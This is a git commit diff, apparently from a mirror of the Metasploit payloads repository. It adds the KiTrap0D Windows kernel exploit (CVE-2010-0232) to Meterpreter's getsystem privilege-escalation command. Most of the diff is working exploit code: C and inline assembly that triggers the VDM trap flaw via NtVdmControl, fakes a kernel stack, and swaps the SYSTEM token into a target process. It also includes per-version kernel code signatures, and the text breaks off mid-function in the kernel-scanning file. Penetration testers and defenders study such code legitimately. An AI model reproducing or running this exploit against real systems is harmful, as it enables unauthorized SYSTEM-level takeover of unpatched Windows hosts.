1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-16 00:24:29 +01:00

Add in KiTrap0D to the priv getsystem command.

git-svn-id: file:///home/svn/framework3/trunk@8317 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Stephen Fewer 2010-01-29 01:09:57 +00:00
parent 9299f443e2
commit 00de4d1561
10 changed files with 949 additions and 40 deletions

View File

@ -1,14 +1,14 @@
//
// Note: To use the produced x86 dll on NT4 you must manually edit the PE Header (CFF Explorer[1] is good) in order
// to change the MajorOperatingSystemVersion and MajorSubsystemVersion to 4 instead of 5 as Visual C++ 2008
// Note: To use the produced x86 dll on NT4 we use a post build event "editbin.exe /OSVERSION:4.0 /SUBSYSTEM:WINDOWS,4.0 elevator.dll"
// in order to change the MajorOperatingSystemVersion and MajorSubsystemVersion to 4 instead of 5 as Visual C++ 2008
// can't build PE images for NT4 (only 2000 and up). The modified dll will then work on NT4 and up. This does
// not apply to the produced x64 dll.
//
// [1] http://www.ntcore.com/exsuite.php
//
#include "elevator.h"
#include "namedpipeservice.h"
#include "tokendup.h"
#include "kitrap0d.h"
// define this as we are going to be injected via LoadRemoteLibraryR
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
@ -19,6 +19,60 @@
// include the Reflectiveloader() function
#include "../ReflectiveDLLInjection/ReflectiveLoader.c"
/*
* Grab a DWORD value out of the command line.
* e.g. elevator_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
*/
DWORD elevator_command_dword( char * cpCommandLine, char * cpCommand )
{
char * cpString = NULL;
DWORD dwResult = 0;
do
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
cpString += strlen( cpCommand );
dwResult = strtoul( cpString, NULL, 0 );
} while( 0 );
return dwResult;
}
/*
* Grab a int value out of the command line.
* e.g. elevator_command_dword( "/FOO:12345 /BAR:54321", "/FOO:" ) == 12345
*/
int elevator_command_int( char * cpCommandLine, char * cpCommand )
{
char * cpString = NULL;
int iResult = 0;
do
{
if( !cpCommandLine || !cpCommand )
break;
cpString = strstr( cpCommandLine, cpCommand );
if( !cpString )
break;
cpString += strlen( cpCommand );
iResult = atoi( cpString );
} while( 0 );
return iResult;
}
/*
* The real entrypoint for this app.
*/
@ -38,13 +92,28 @@ VOID elevator_main( char * cpCommandLine )
dprintf( "[ELEVATOR] elevator_main. lpCmdLine=%s", cpCommandLine );
if( strstr( cpCommandLine, "/t:" ) )
if( strstr( cpCommandLine, "/KITRAP0D" ) )
{
DWORD dwProcessId = 0;
DWORD dwKernelBase = 0;
DWORD dwOffset = 0;
dwProcessId = elevator_command_dword( cpCommandLine, "/VDM_TARGET_PID:" );
dwKernelBase = elevator_command_dword( cpCommandLine, "/VDM_TARGET_KRN:" );
dwOffset = elevator_command_dword( cpCommandLine, "/VDM_TARGET_OFF:" );
if( !dwProcessId || !dwKernelBase )
break;
elevator_kitrap0d( dwProcessId, dwKernelBase, dwOffset );
// ...we should never return here...
}
else if( strstr( cpCommandLine, "/t:" ) )
{
DWORD dwThreadId = 0;
cpCommandLine += strlen( "/t:" );
dwThreadId = atoi( cpCommandLine );
dwThreadId = elevator_command_dword( cpCommandLine, "/t:" );
dwResult = elevator_tokendup( dwThreadId, SECURITY_LOCAL_SYSTEM_RID );

View File

@ -0,0 +1,353 @@
// A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmexploit.c).
// http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include "elevator.h"
#include "kitrap0d.h"
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#ifdef _WIN64
/*
* This is not implemented for the x64 build.
*/
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
{
return;
}
#else
/*
* The global variables used...
*/
static DWORD dwTargetProcessId = 0;
static DWORD * lpKernelStackPointer = NULL;
static HMODULE hKernel = NULL;
/*
* Find an exported kernel symbol by name.
*/
PVOID elevator_kitrap0d_kernelgetproc( PSTR SymbolName )
{
PUCHAR ImageBase = NULL;
PULONG NameTable = NULL;
PULONG FunctionTable = NULL;
PUSHORT OrdinalTable = NULL;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS PeHeader = NULL;
DWORD i = 0;
ImageBase = (PUCHAR)hKernel;
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// Find required tables from the ExportDirectory...
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
// Scan each entry for a matching name.
for( i=0 ; i < ExportDirectory->NumberOfNames ; i++ )
{
PCHAR Symbol = ImageBase + NameTable[i];
if( strcmp( Symbol, SymbolName ) == 0 )
{
// Symbol found, return the appropriate entry from FunctionTable.
return (PVOID)( ImageBase + FunctionTable[OrdinalTable[i]] );
}
}
// Symbol not found, this is likely fatal :-(
return NULL;
}
/*
* Replace a value if it falls between a given range.
*/
BOOL elevator_kitrap0d_checkandreplace( PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value )
{
if( *checkMe >= rangeStart && *checkMe <= rangeEnd )
{
*checkMe = value;
return TRUE;
}
else
{
return FALSE;
}
}
/*
* Search the specified data structure for a member with CurrentValue.
*/
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
{
DWORD i = 0;
DWORD Mask = 0;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting (nice trick).
Mask = ObjectRefs ? ~7 : ~0;
// Mask out the reference count.
CurrentValue &= Mask;
// Scan the structure for any occurrence of CurrentValue.
for( i = 0 ; i < MaxSize ; i++ )
{
if( (Structure[i] & Mask) == CurrentValue )
{
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
/*
* This routine is where we land after successfully triggering the vulnerability.
*/
VOID elevator_kitrap0d_firststage( VOID )
{
FARPROC DbgPrint = NULL;
FARPROC PsGetCurrentThread = NULL;
FARPROC PsGetCurrentThreadStackBase = NULL;
FARPROC PsGetCurrentThreadStackLimit = NULL;
FARPROC PsLookupProcessByProcessId = NULL;
FARPROC PsReferencePrimaryToken = NULL;
FARPROC ZwTerminateProcess = NULL;
PVOID CurrentThread = NULL;
PVOID TargetProcess = NULL;
PVOID * PsInitialSystemProcess = NULL;
HANDLE pret = NULL;
DWORD StackBase = 0;
DWORD StackLimit = 0;
DWORD NewStack = 0;
DWORD i = 0;
DWORD dwEThreadOffsets[] = {
0x6, // WinXP SP3, VistaSP2
0xA // Windows 7, VistaSP1
};
// Keep interrupts off until we've repaired the KTHREAD.
__asm cli
// Resolve some routines we need from the kernel export directory
DbgPrint = elevator_kitrap0d_kernelgetproc( "DbgPrint" );
PsGetCurrentThread = elevator_kitrap0d_kernelgetproc( "PsGetCurrentThread" );
PsGetCurrentThreadStackBase = elevator_kitrap0d_kernelgetproc( "PsGetCurrentThreadStackBase" );
PsGetCurrentThreadStackLimit = elevator_kitrap0d_kernelgetproc( "PsGetCurrentThreadStackLimit" );
PsInitialSystemProcess = elevator_kitrap0d_kernelgetproc( "PsInitialSystemProcess" );
PsLookupProcessByProcessId = elevator_kitrap0d_kernelgetproc( "PsLookupProcessByProcessId" );
PsReferencePrimaryToken = elevator_kitrap0d_kernelgetproc( "PsReferencePrimaryToken" );
ZwTerminateProcess = elevator_kitrap0d_kernelgetproc( "ZwTerminateProcess" );
CurrentThread = (PVOID)PsGetCurrentThread();
StackLimit = (DWORD)PsGetCurrentThreadStackLimit();
StackBase = (DWORD)PsGetCurrentThreadStackBase();
NewStack = StackBase - ( (StackBase - StackLimit) / 2 );
// First we need to repair the CurrentThread, find all references to the fake kernel
// stack and repair them. Note that by "repair" we mean randomly point them
// somewhere inside the real stack.
// Walk only the offsets that could possibly be bad based on testing, and see if they need
// to be swapped out. O(n^2) -> O(c) wins the race!
for( i=0 ; i < sizeof(dwEThreadOffsets) / sizeof (DWORD) ; i++ )
elevator_kitrap0d_checkandreplace( (((PDWORD) CurrentThread)+dwEThreadOffsets[i]), (DWORD)&lpKernelStackPointer[0], (DWORD)&lpKernelStackPointer[KSTACKSIZE - 1], (DWORD)NewStack );
// Find the EPROCESS structure for the process we want to escalate
if( PsLookupProcessByProcessId( dwTargetProcessId, &TargetProcess ) == STATUS_SUCCESS )
{
PACCESS_TOKEN SystemToken = NULL;
PACCESS_TOKEN TargetToken = NULL;
// What's the maximum size the EPROCESS structure is ever likely to be?
CONST DWORD MaxExpectedEprocessSize = 0x200;
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN)PsReferencePrimaryToken( TargetProcess );
SystemToken = (PACCESS_TOKEN)PsReferencePrimaryToken( *PsInitialSystemProcess );
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
// Find the token in the target process, and replace with the system token.
elevator_kitrap0d_findandreplace( (PDWORD)TargetProcess, (DWORD)TargetToken, (DWORD)SystemToken, MaxExpectedEprocessSize, TRUE );
// Success
pret = (HANDLE)'w00t';
}
else
{
// Maybe the user closed the window?
// Report this failure
pret = (HANDLE)'LPID';
}
__asm
{
mov eax, -1 // ZwCurrentProcess macro returns -1
mov ebx, NewStack
mov ecx, pret
mov edi, ZwTerminateProcess
mov esp, ebx // Swap the stack back to kernel-land
mov ebp, ebx // Swap the frame pointer back to kernel-land
sub esp, 256
push ecx // Push the return code
push eax // Push the process handle
sti // Restore interrupts finally
call edi // Call ZwTerminateProcess
__emit 0xCC; // Hope we never end up here
};
}
/*
* Setup a minimal execution environment to satisfy NtVdmControl().
*/
BOOL elevator_kitrap0d_initvdmsubsystem( VOID )
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC pNtAllocateVirtualMemory = NULL;
FARPROC pNtFreeVirtualMemory = NULL;
FARPROC pNtVdmControl = NULL;
PBYTE BaseAddress = (PVOID)0x00000001;
HMODULE hNtdll = NULL;
ULONG RegionSize = 0;
static DWORD TrapHandler[128] = {0};
static DWORD IcaUserData[128] = {0};
static struct {
PVOID TrapHandler;
PVOID IcaUserData;
} InitData;
do
{
hNtdll = GetModuleHandle( "ntdll" );
if( !hNtdll )
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER );
pNtAllocateVirtualMemory = GetProcAddress( hNtdll, "NtAllocateVirtualMemory" );
pNtFreeVirtualMemory = GetProcAddress( hNtdll, "NtFreeVirtualMemory" );
pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" );
if( !pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl )
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER );
InitData.TrapHandler = TrapHandler;
InitData.IcaUserData = IcaUserData;
// Remove anything currently mapped at NULL
pNtFreeVirtualMemory( GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE );
BaseAddress = (PVOID)0x00000001;
RegionSize = (ULONG)0x00100000;
// Allocate the 1MB virtual 8086 address space.
if( pNtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) != STATUS_SUCCESS )
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV' );
// Finalise the initialisation.
if( pNtVdmControl( VdmInitialize, &InitData ) != STATUS_SUCCESS )
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC' );
return TRUE;
} while( 0 );
ExitThread( dwResult );
return FALSE;
}
/*
* (CVE-2010-0232)
*/
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC pNtVdmControl = NULL;
HMODULE hNtdll = NULL;
DWORD dwKernelStack[KSTACKSIZE] = {0};
VDMTIB VdmTib = {0};
DWORD dwMinimumExpectedVdmTibSize = 0x200;
DWORD dwMaximumExpectedVdmTibSize = 0x800;
do
{
dprintf( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset );
memset( &VdmTib, 0, sizeof( VDMTIB ) );
memset( &dwKernelStack, 0, KSTACKSIZE * sizeof( DWORD ) );
// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
// With a buffer full of NULLs, the exploit never finds the right size.
// This will require a more work to resolve, for just keep the padding zero'd
hNtdll = GetModuleHandle( "ntdll" );
if( !hNtdll )
BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER );
pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" );
if( !pNtVdmControl )
BREAK_ON_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed" );
dwTargetProcessId = dwProcessId;
// Setup the fake kernel stack, and install a minimal VDM_TIB...
lpKernelStackPointer = (DWORD *)&dwKernelStack;
dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP
dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB
dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB
dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
hKernel = (HMODULE)dwKernelBase;
VdmTib.Size = dwMinimumExpectedVdmTibSize;
*NtCurrentTeb()->Reserved4 = &VdmTib;
// Initialize the VDM Subsystem...
elevator_kitrap0d_initvdmsubsystem();
VdmTib.Size = dwMinimumExpectedVdmTibSize;
VdmTib.VdmContext.SegCs = 0x0B;
VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack;
VdmTib.VdmContext.Eip = dwKernelBase + dwOffset;
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
*NtCurrentTeb()->Reserved4 = &VdmTib;
// Allow thread initialization to complete. Without is, there is a chance
// of a race in KiThreadInitialize's call to SwapContext
Sleep( 1000 );
// Trigger the vulnerable code via NtVdmControl()...
while( VdmTib.Size++ < dwMaximumExpectedVdmTibSize )
pNtVdmControl( VdmStartExecution, NULL );
} while( 0 );
// Unable to find correct VdmTib size.
ExitThread('VTIB');
}
#endif

View File

@ -0,0 +1,30 @@
#ifndef _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
#define _METERPRETER_SOURCE_ELEVATOR_KITRAP0D_H
#define KSTACKSIZE 1024
#define EFLAGS_TF_MASK 0x00000100 // trap flag
#ifndef PAGE_SIZE
#define PAGE_SIZE 0x1000
#endif
enum
{
VdmStartExecution = 0,
VdmInitialize = 3
};
typedef struct _VDMTIB
{
ULONG Size;
PVOID Padding0;
PVOID Padding1;
CONTEXT Padding2;
CONTEXT VdmContext;
DWORD Padding3[1024];
} VDMTIB, * LPVDMTIB;
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset );
#endif

View File

@ -56,7 +56,7 @@ VOID elevator_serviceproc( DWORD argc, LPSTR * argv )
hStatus = RegisterServiceCtrlHandler( lpServiceName, (LPHANDLER_FUNCTION)elevator_servicectrl );
if( !hStatus )
BREAK_ON_ERROR( "[ELAVATOR] elevator_service_proc. RegisterServiceCtrlHandler failed" );
BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. RegisterServiceCtrlHandler failed" );
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
status.dwServiceSpecificExitCode = 0;
@ -101,13 +101,13 @@ BOOL elevator_namedpipeservice( char * cpServiceName )
do
{
if( !cpServiceName )
BREAK_WITH_ERROR( "[ELEVATOR] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE );
BREAK_WITH_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE );
lpServiceName = _strdup( cpServiceName );
hTerminate = CreateEvent( 0, TRUE, FALSE, 0 );
if( !hTerminate )
BREAK_ON_ERROR( "[ELAVATOR] elevator_service_proc. CreateEvent hTerminate failed" );
BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. CreateEvent hTerminate failed" );
servicetable[0].lpServiceName = lpServiceName;
servicetable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)elevator_serviceproc;
@ -116,10 +116,10 @@ BOOL elevator_namedpipeservice( char * cpServiceName )
servicetable[1].lpServiceProc = NULL;
if( !StartServiceCtrlDispatcher( servicetable ) )
BREAK_ON_ERROR( "[ELEVATOR] elevator_pipe. StartServiceCtrlDispatcher failed" );
BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. StartServiceCtrlDispatcher failed" );
if( WaitForSingleObject( hTerminate, INFINITE ) != WAIT_OBJECT_0 )
BREAK_ON_ERROR( "[ELEVATOR] elevator_pipe. WaitForSingleObject failed" );
BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. WaitForSingleObject failed" );
dwResult = dwElevateStatus;

View File

@ -26,34 +26,34 @@ BOOL elevator_tokendup( DWORD dwThreadId, DWORD dwSecurityRID )
pCheckTokenMembership = (CHECKTOKENMEMBERSHIP)GetProcAddress( LoadLibrary( "advapi32" ), "CheckTokenMembership" );
pOpenThread = (OPENTHREAD)GetProcAddress( LoadLibrary( "kernel32" ), "OpenThread" );
if( !pCheckTokenMembership || !pOpenThread )
BREAK_WITH_ERROR( "[ELEVATOR] elevator_thread. pCheckTokenMembership/pOpenthread == 0", ERROR_INVALID_HANDLE );
BREAK_WITH_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. pCheckTokenMembership/pOpenthread == 0", ERROR_INVALID_HANDLE );
if( !dwThreadId )
BREAK_WITH_ERROR( "[ELEVATOR] elevator_thread. dwThreadId == 0", ERROR_INVALID_HANDLE );
BREAK_WITH_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. dwThreadId == 0", ERROR_INVALID_HANDLE );
if( !OpenProcessToken( GetCurrentProcess(), TOKEN_DUPLICATE|TOKEN_IMPERSONATE|TOKEN_QUERY, &hProcessToken ) )
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. OpenToken failed" );
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. OpenToken failed" );
if( !AllocateAndInitializeSid( &NtAuthority, 1, dwSecurityRID, 0, 0, 0, 0, 0, 0, 0, &lpSystemSID ) )
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. AllocateAndInitializeSid failed" );
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. AllocateAndInitializeSid failed" );
if( !DuplicateToken( hProcessToken, SecurityImpersonation, &hToken ) )
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. DuplicateToken failed" );
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. DuplicateToken failed" );
if( !pCheckTokenMembership( hToken, lpSystemSID, &bIsSystem ) )
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. CheckTokenMembership failed" );
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. CheckTokenMembership failed" );
if( !bIsSystem )
BREAK_WITH_ERROR( "[ELEVATOR] elevator_thread. bIsSystem == FALSE", ERROR_INVALID_SID );
BREAK_WITH_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. bIsSystem == FALSE", ERROR_INVALID_SID );
hThread = pOpenThread( THREAD_ALL_ACCESS, TRUE, dwThreadId );
if( !hThread )
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. OpenThread failed" );
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. OpenThread failed" );
if( !SetThreadToken( &hThread, hToken ) )
BREAK_ON_ERROR( "[ELEVATOR] elevator_thread. SetThreadToken failed" );
BREAK_ON_ERROR( "[ELEVATOR-TOKENDUP] elevator_thread. SetThreadToken failed" );
dprintf( "[ELEVATOR] elevator_thread. Gave SYSTEM token to thread %d", dwThreadId );
dprintf( "[ELEVATOR-TOKENDUP] elevator_thread. Gave SYSTEM token to thread %d", dwThreadId );
} while( 0 );

View File

@ -1,6 +1,55 @@
#include "precomp.h"
#include "namedpipe.h"
#include "tokendup.h"
#include "kitrap0d.h"
/*
* Get the native architecture of the system we are running on. (ripped from the stdapi's ps.c)
*/
DWORD elevate_getnativearch( VOID )
{
HANDLE hKernel = NULL;
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
SYSTEM_INFO SystemInfo = {0};
do
{
// default to 'x86' as if kernel32!GetNativeSystemInfo is not present then we are on an old x86 system.
dwNativeArch = PROCESS_ARCH_X86;
hKernel = LoadLibraryA( "kernel32.dll" );
if( !hKernel )
break;
pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel, "GetNativeSystemInfo" );
if( !pGetNativeSystemInfo )
break;
pGetNativeSystemInfo( &SystemInfo );
switch( SystemInfo.wProcessorArchitecture )
{
case PROCESSOR_ARCHITECTURE_AMD64:
dwNativeArch = PROCESS_ARCH_X64;
break;
case PROCESSOR_ARCHITECTURE_IA64:
dwNativeArch = PROCESS_ARCH_IA64;
break;
case PROCESSOR_ARCHITECTURE_INTEL:
dwNativeArch = PROCESS_ARCH_X86;
break;
default:
dwNativeArch = PROCESS_ARCH_UNKNOWN;
break;
}
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwNativeArch;
}
/*
* Attempt to elevate the current meterpreter to local system using a variety of techniques.
@ -24,19 +73,26 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
{
do
{
// firstly, try to use the in-memory named pipe impersonation technique
// firstly, try to use the in-memory named pipe impersonation technique (Requires Local Admin rights)
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE;
dwResult = elevate_via_service_namedpipe( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
// secondly, try to use the in-memory KiTrap0D exploit (CVE-2010-0232) (Requires Local User rights and vulnerable system)
// Note: If successfully, we end up replacing our processes primary token and as such cant rev3self at a later stage.
dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
// secondly, try to use the in-memory service token duplication technique (requires SeDebugPrivilege)
// thirdly, try to use the in-memory service token duplication technique (Requires Local Admin rights and SeDebugPrivilege)
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
dwResult = elevate_via_service_tokendup( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
// thirdly, try to use the touching disk named pipe impersonation technique
// fourthly, try to use the touching disk named pipe impersonation technique (Requires Local Admin rights)
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
dwResult = elevate_via_service_namedpipe2( remote, packet );
if( dwResult == ERROR_SUCCESS )
@ -58,6 +114,9 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
case ELEVATE_TECHNIQUE_SERVICE_TOKENDUP:
dwResult = elevate_via_service_tokendup( remote, packet );
break;
case ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D:
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
break;
default:
dwResult = ERROR_CALL_NOT_IMPLEMENTED;
break;

View File

@ -6,7 +6,17 @@
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3
#define ELEVATE_TECHNIQUE_VULN_KITRAP0D 4
#define ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D 4
// from ps.h
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo );
#define PROCESS_ARCH_UNKNOWN 0
#define PROCESS_ARCH_X86 1
#define PROCESS_ARCH_X64 2
#define PROCESS_ARCH_IA64 3
DWORD elevate_getnativearch( VOID );
DWORD elevate_getsystem( Remote * remote, Packet * packet );

View File

@ -0,0 +1,356 @@
// A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
// http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
// Known Bugs:
// * Windows NT4 fails to map the NULL page, (exit code 'NTAV').
// * Windows 2000 fails to find the VDM_TIB size (something else is wrong)
// * Windows 2008 Storage Server has 16-bit applications disabled by default
// * Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
#include "precomp.h"
#include "kitrap0d.h"
#include "../../../../ReflectiveDLLInjection/LoadLibraryR.h"
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
struct CodeSignature CodeSignatures[] = {
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
{ "", -1 }
};
/*
* Scan the appropriate kernel image for the correct offset
*/
BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC NtQuerySystemInformation = NULL;
HMODULE hKernel = NULL;
HMODULE hNtdll = NULL;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS PeHeader = NULL;
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
PBYTE ImageBase = NULL;
HKEY MmHandle = NULL;
OSVERSIONINFO os = {0};
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
DWORD PhysicalAddressExtensions = 0;
DWORD DataSize = 0;
ULONG i = 0;
ULONG x = 0;
// List of versions we have code signatures for.
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
do
{
hNtdll = GetModuleHandle("ntdll");
if( !hNtdll )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );
// NtQuerySystemInformation can be used to find kernel base address
NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
if( !NtQuerySystemInformation )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );
// Determine kernel version so that the correct code signature is used
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_NT4;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2000;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_XP;
